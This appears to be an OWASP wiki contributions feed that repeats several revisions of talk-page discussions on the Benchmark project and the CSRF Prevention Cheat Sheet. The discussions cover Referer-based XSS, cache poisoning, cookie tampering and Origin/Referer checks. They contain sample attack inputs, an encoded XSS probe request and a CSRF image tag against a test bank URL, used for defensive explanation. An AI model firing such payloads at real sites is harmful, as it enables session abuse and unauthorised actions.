OWASP - User contributions [en]

Talk:Benchmark

2019-06-14T12:50:51Z

Eelgheez:

== The meaning of the diagonal ==

I don't think it's fair to call the diagonal line in the FPR/TPR chart a "random guess" line. The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN. The FPR > TPR area below the line does not put the tool into a "worse than guessing" shame list. The formulas suggests a different interpretation of that area, "the noise rate in reporting non-issues exceeds the sensitivity about real issues".

The "worse than guessing" interpretation seems to come from the following scenario. We have ''n'' real and ''m'' fake vulnerabilities. For each of these vulnerabilities let the tool (or a monkey) decide if it is real. I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)

== Request headers in XSS attacks ==

The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario. Indeed, a malicious site can host a page at a maliciously crafted URL replying to HTTP requests such as <code>GET /foo%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1</code>. On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header. However, I think the HTTP verb requests (such as the above HTTP GET) to the original host will URL-encode paths and query strings regardless of what it or any other communication medium showed before visiting it. This makes the abuse of the Referer reflection conditional on the application's decoding the URL before reflecting it. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)
: When the target site resides behind a caching server, the server's dropping request headers from its cache key and the application's reflecting unconventional request headers result in a cache poisoning vulnerability, https://blog.cloudflare.com/cache-poisoning-protection/ . This makes non-Referer headers attack vectors possible because attackers can poison the cache, then let victims receive the cached poisoned HTML contents. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)

Talk:Benchmark

2019-06-13T20:35:14Z

Eelgheez:

== The meaning of the diagonal ==

I don't think it's fair to call the diagonal line in the FPR/TPR chart a "random guess" line. The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN. The FPR > TPR area below the line does not put the tool into a "worse than guessing" shame list. The formulas suggests a different interpretation of that area, "the noise rate in reporting non-issues exceeds the sensitivity about real issues".

The "worse than guessing" interpretation seems to come from the following scenario. We have ''n'' real and ''m'' fake vulnerabilities. For each of these vulnerabilities let the tool (or a monkey) decide if it is real. I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)

== Request headers in XSS attacks ==

The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario. Indeed, a malicious site can host a page at a maliciously crafted URL replying to HTTP requests such as <code>GET /foo%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1</code>. On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header. However, I think the HTTP verb requests (such as the above HTTP GET) to the original host will URL-encode paths and query strings regardless of what it or any other communication medium showed before visiting it. This makes the abuse of the Referer reflection conditional on the application's decoding the URL before reflecting it. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)
: When the target site resides behind a caching server, the server's dropping request headers from its cache key and the application's reflecting unconventional request headers result in a cache poisoning vulnerability, https://blog.cloudflare.com/cache-poisoning-protection/ . This makes non-Referer headers attack vectors because attackers can poison the cache, then let victims receive the cached poisoned HTML contents. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)

Talk:Benchmark

2019-06-13T20:34:51Z

Eelgheez: the app would have to decode Referer before reflecting it in order to be abused

== The meaning of the diagonal ==

I don't think it's fair to call the diagonal line in the FPR/TPR chart a "random guess" line. The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN. The FPR > TPR area below the line does not put the tool into a "worse than guessing" shame list. The formulas suggests a different interpretation of that area, "the noise rate in reporting non-issues exceeds the sensitivity about real issues".

The "worse than guessing" interpretation seems to come from the following scenario. We have ''n'' real and ''m'' fake vulnerabilities. For each of these vulnerabilities let the tool (or a monkey) decide if it is real. I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)

== Request headers in XSS attacks ==

The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario. Indeed, a malicious site can host a page at a maliciously crafted URL replying to HTTP requests such as <code>GET /foo%3Cscript%3Ealert(1)%3C/script%3E</code>. On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header. However, I think the HTTP verb requests (such as the above HTTP GET) to the original host will URL-encode paths and query strings regardless of what it or any other communication medium showed before visiting it. This makes the abuse of the Referer reflection conditional on the application's decoding the URL before reflecting it. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)
: When the target site resides behind a caching server, the server's dropping request headers from its cache key and the application's reflecting unconventional request headers result in a cache poisoning vulnerability, https://blog.cloudflare.com/cache-poisoning-protection/ . This makes non-Referer headers attack vectors because attackers can poison the cache, then let victims receive the cached poisoned HTML contents. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)

Talk:Benchmark

2018-11-14T16:40:42Z

Eelgheez: +cache poisoning for XSS via unconventional headers

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2018-11-13T00:00:16Z

Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

== The link-presenter host with regard to the Referer/Origin check ==

I heard arguments for extending the whitelist to sites potentially hosting the links that point to the application that is protected with a Referer/Origin check. This can be a slippery slope as sending a second-factor authentication link through email may end up being hosted by a huge number of webmail providers. Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.

Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API. That is,
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately,
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers. Therefore,
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection. Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX. The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)

:: The second-factor authentication link scenario seems degenerate in the above scheme because it does not rely on cookies. Only authenticated actions would need to rely on their map to the UI URL in order to get around the Referer/Origin and GET limits related to passing the link via email or any other medium. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 17:59, 12 November 2018 (CST)

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2018-11-12T23:59:43Z

Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */ limit to authenticated actions

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

== The link-presenter host with regard to the Referer/Origin check ==

I heard arguments for extending the whitelist to sites potentially hosting the links that point to the application that is protected with a Referer/Origin check. This can be a slippery slope as sending a second-factor authentication link through email may end up being hosted by a huge number of webmail providers. Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.

Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API. That is,
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately,
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers. Therefore,
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection. Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX. The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)

:: The second-factor authentication link scenario seems degenrate in the above scheme because it does not rely on cookies. Only authenticated actions would need to rely on their map to the UI URL in order to get around the Referer/Origin and GET limits related to passing the link via email or any other medium. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 17:59, 12 November 2018 (CST)

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2018-11-12T22:32:13Z

Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2018-11-12T22:30:27Z

Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

== The link-presenter host with regard to the Referer/Origin check ==

I heard arguments for extending the whitelist to sites potentially hosting the links that point to the application that is protected with a Referer/Origin check. This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers. Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.

Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API. That is,
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately,
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers. Therefore,
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection. Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX. The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2018-11-12T22:29:42Z

Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

